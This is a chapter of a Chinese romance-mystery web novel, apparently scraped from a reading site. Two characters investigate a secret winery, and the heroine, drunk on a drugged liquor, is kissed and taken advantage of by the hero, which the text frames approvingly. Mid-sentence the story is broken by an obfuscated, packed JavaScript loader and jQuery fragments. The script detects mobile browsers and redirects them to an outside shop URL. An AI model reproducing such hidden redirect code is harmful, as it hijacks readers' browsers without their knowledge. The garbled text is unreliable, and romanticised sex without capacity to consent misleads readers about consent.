默认冷灰
24号文字
方正启体

19. 误饮朝颜

作者:招牌老吃货本书字数:K更新时间:
    对于许砚没来由的怨气,沈沉璧感到莫名其妙。


    他将自己关在客栈房中,既不喝药亦不吃饭,沈沉璧去寻了他好几次,他都闭门不见。沈沉璧只当他公子哥儿的脾气犯了,想着将他晾晾就好了,谁知到了晚上这厮对她还是不理不睬,沈沉璧不由地生出股无名怒火。


    “许小侯爷摆脸子也得有个度吧,我可没这闲心哄着你。”


    搁下烫手的药盅,沈沉璧怒气冲冲地转身就要走,迎面却撞上个人。抬头瞧去,竟是陆遇。他来得很急,白净的脸上透着红晕,月牙儿般的眸子溢出淡淡的哀色。


    “绮罗被斩首了。”


    沈沉璧眉头微蹙,眼前浮现出那张迟暮而凄婉的脸。凋零便意味着死亡,红尘女子的一生太苦了。只是令她感到困惑的是,绮罗分明有机会随他们离开,为何偏要留在地牢等死?


    若说是因为衰老的容颜被人知晓,她再也没了活下去的心气儿,倒也勉强说得通。但直觉告诉沈沉璧,此事并非表面所见那么简单。


    “今晚你陪我去个地方,有些疑点还需厘清。”


    沈沉璧话音刚落,身前紧闭的房门忽然被人重重打开。习习凉风拂向她的脸庞,她只觉手腕一紧,整个人猝不及防地被拉进了一片滚烫的领地。


    许砚以手抵着房门,将她圈禁在臂弯之中,急促的呼吸声将她牢牢裹住。他垂着头,细碎的鬓发挡住了他的脸,沈沉璧看不清他的神色。


    “许砚,你……”


    出口的话却在看到他的脸后又咽了回去。连日的疲惫令许砚失去了平日的张扬与不羁,显出令人心疼的虚弱苍白来。他的眸光落在她的脸上,滚烫又克制,愤怒又落寞,竟令沈沉璧感到莫名的不安。


    “为何一定要他陪你?我不行么?”


    “不行,”沈沉璧回得果断,可一看到他受伤的神情,她的心又不自觉地软了下来,“你还受着伤,再折腾下去这腿还要不要了?”


    “你是在担心我?”许砚绷紧的身子忽然松懈下来,眸底掠过朦胧的笑意。他往前半步,将头软软地搁在沈沉璧的肩头,“确实受了很重的伤,需要人寸步不离的照顾。”


    对于他这般无赖的行为,沈沉璧很是无奈。她摸了摸兜里仅剩的银两,确定还够给许砚请个婆子照顾两天,咬了咬牙便应下了。谁料许砚却不依,非说不喜陌生人触碰。


    “你想要怎样?”沈沉璧有些气恼。


    “我想要你……”许砚故意顿了顿,看到沈沉璧绯红的脸颊时,唇角几不可察地勾起,“自然是要你照料,小爷这条腿是因你而折,你得对我负责,不管去哪儿都要带着我。”


    沈沉璧正想打消他这得寸进尺的念头,却见许砚吹了两口哨子,一只羽翼雪白的信鸽停在了窗口。他从怀里掏出一封叠好的信笺,朝着沈沉璧扬起意味深长的笑意。


    “若你不答应,我便将你在陵阳的消息飞鸽传书回洛京。”


    他的眸子如新雨后的春山,方才的颓唐早就一扫而空。沈沉璧这才恍然了悟,原来这厮早就做好了准备,她的每一步都在他的圈套里。被拿捏的感觉并不美妙,但沈沉璧暂时也无他法,只能点头答应。


    他们要去的地方是一家名为十月白的酿酒坊,枕上梦的酒水都自城北运来,唯独朝颜露由城南这家酿酒坊提供。自上次尝过朝颜露后,沈沉璧便疑心这酒里有蹊跷。


    带着许砚行动终归迟缓了许多,沈沉璧心里有气便故意走得时缓时急,好几次回头都见不到许砚,又得不情不愿地回去寻他。本不是多远的路,二人硬生生耗了两个时辰才到。


    这家酿酒坊的规模并不大,连窖池也只有旁的酒坊一半大小。正值深夜,酿酒的匠人早已归家歇息了,门口只余个六旬老翁呼呼大睡,因此沈沉璧与许砚进去时并无人留意。


    坊中酿酒的屋子都上了锁,所有尚未出售的酒水都被装在墙角的陶罐里。沈沉璧费了许多劲才撬开了锁,进去时却发现许砚已经在弯腰品尝那些酒了。


    “你是怎么进来的?”她颇为好奇。


    许砚随手指了指半掩的窗户,并未回头看沈沉璧。沈沉璧疑心这厮还未消气,明显是成心不告诉她。但想到今夜是来办正事的,便权且不与他计较。


    墙根的陶罐实在太多,若挨个品尝太过费事。沈沉璧摘下暗兜里的药馕,靠近这些陶罐嗅了嗅,并未闻到与朝颜露相似的酒香。正推测着酒坊老板会将朝颜露藏在何处时,许砚敲了敲脚下的地板。


    “这里是空的,地下有暗窖。”


    许砚俯身翻开脚下的板砖,果然发现了一处通往地下的石阶。二人沿着石阶拾级而下,走了几步后眼前别有洞天。


    数十个窖池整齐排列,蒸煮的铁锅、拌曲的缸子、蒸馏的酒甑等应有尽有,这里竟比地上的酿酒坊规模大了数倍。只是此刻酿酒台歇了工,灰灰暗暗的显得颇为冷清。


    沈沉璧翻遍所有储酒的瓦罐,却没有找到一滴酒水。按照常理,酿酒坊中多少会留存些未出售的酒,此处不留滴酒只能有一种原因,那便是这里酿出的酒不仅价格昂贵,而且有着不可告人的秘密。


    “这东西味道有些古怪。”


    许砚从晾晒的竹筛子里捻出一片蜷曲干枯的花瓣,沈沉璧接过来仔细嗅了嗅,花瓣并无幽香,却有股与朝颜露相似的气味。沈沉璧疑心这是制作朝颜露的原料之一,便将它收入囊中。


    虽未找到朝颜露,但此行也并非毫无收获。见天已蒙蒙亮,沈沉璧决定先与许砚回去查查这花瓣。两人顺着石阶往上走,忽然听到上头的屋子传来脚步声,沈沉璧心下一惊,连忙拉着许砚往回撤,脚下没有站稳竟直直地往后仰去。待许砚回过神要去拉她时,沈沉璧已摔入了身后的窖池中。


    浑浊的酒酿四溅而出,浓烈的醇香从七窍涌入体内,一种异样的感觉蔓延至四肢百骸。沈沉璧感觉自己时而化作春风,徐徐地缠绕着柳枝,又时而成了流星,绚烂地融入夜的雾霭。不知怎的,她有些贪恋这种味道,久久地浸泡在酒酿中不愿起来。


    “你没事吧?”


    许砚满面急色地将沈沉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144447|196370||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    璧从窖池中往外捞,却忽觉脖颈一沉,一双修长的胳膊缠了上来。沈沉璧从酒里露出半截身子,宽大的衣袍紧紧贴在胸前,勾勒出她原本的线条。她凝眸望着他,眸子里氤氲着湿漉漉的雾气。


    “许砚,你好香……”


    “嗯?”


    冰冷的唇覆了上来,带着醉人又旖旎的酒香。许砚惊愕地僵在原地,墨色的眸子蓦地缩紧。她的唇试探地、徐徐地摩挲着他,见他迟迟没有回应,她生气地吐出小舌,笨拙地想要撬开他紧闭的唇齿。许砚缓缓阖上眼,城池几欲被她攻破。


    忽地,余光瞥到地上掉落的药馕,他猛然推开沈沉璧。


    失去了柔软的覆盖,沈沉璧不满地撅起嘴,喉咙里发出蚊蚋般的抗议。察觉到许砚稍稍松了力道,她又藤蔓般地缠了上来,在他的颈窝里不耐地蹭着。


    “沈沉璧,你可想清楚了?”


    许砚的喉结上下滚动着,声音里似蕴着火海。见沈沉璧娇憨地点点头,许砚眸底的滚烫再也抑制不住地喷薄而出。他垂下头含住眼前的桃花,一寸一寸地,攻城略地。


    算了,即便是趁人之危,他也顾不得了。


    月色撩人地裹住尘埃,将经久埋藏的心事袒露给天地。


    地面上的脚步声已然散去,沈沉璧窝在许砚的怀里睡得香甜。她的双颊染着浅浅的红晕,似清晨沾着露水的花苞般,令人想一亲芳泽。许砚久久地凝望着怀里的人儿,唇角绽出明亮的笑意。


    这是他的姑娘,他已经等了她太久太久了。


    沈沉璧醒来时,身旁的水壶正“咕嘟咕嘟”地冒着泡。她躺在温暖的软塌里,身上的被衾散发着阳光的清香。撑着床板坐起身,眼前的房门忽然被人打开。


    “醒了?”


    许砚提着两包吃食一瘸一拐地进了门。吃食被油纸包着,沈沉璧隔着很远便闻到了香味儿,是她喜欢的芝麻炉饼,而且是甜的。


    “我怎么会在这里?”


    “昨夜我们去城南酿酒坊,你不慎落入了窖池,你……”


    许砚说着说着便停住了,沈沉璧趁着他愣神之际,从他手中夺过一只香气四溢的炉饼。她的手指轻轻掠过他的手心,如羽毛拂过心尖般痒痒的,许砚忽然像被烫着似的缩回了手。


    “你这么紧张作甚,难不成背着我做了什么亏心事?”


    沈沉璧咬了口炉饼,总觉得今日的许砚颇为怪异。听到她的话,许砚直接撇过了脸,耳垂竟隐隐泛着红晕。沈沉璧何时见过许砚害羞,顿时心下大惊,搁下炉饼便冲着他质问。


    “许砚,你当真将我在陵阳的事飞鸽传书回了洛京?”


    “你想什么呢,昨夜……”似是意识到了什么,许砚回头看向沈沉璧,眸底溢出不可思议的怒气,“沈沉璧,难道你忘了昨夜的事了?!”


    “昨夜有什么事?”


    沈沉璧困惑地望着许砚,脑袋一片空白。她只记得他们夜探城南酿酒坊,自己不慎落入了窖池的酒酿中,然后……


    然后她什么也想不起来了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)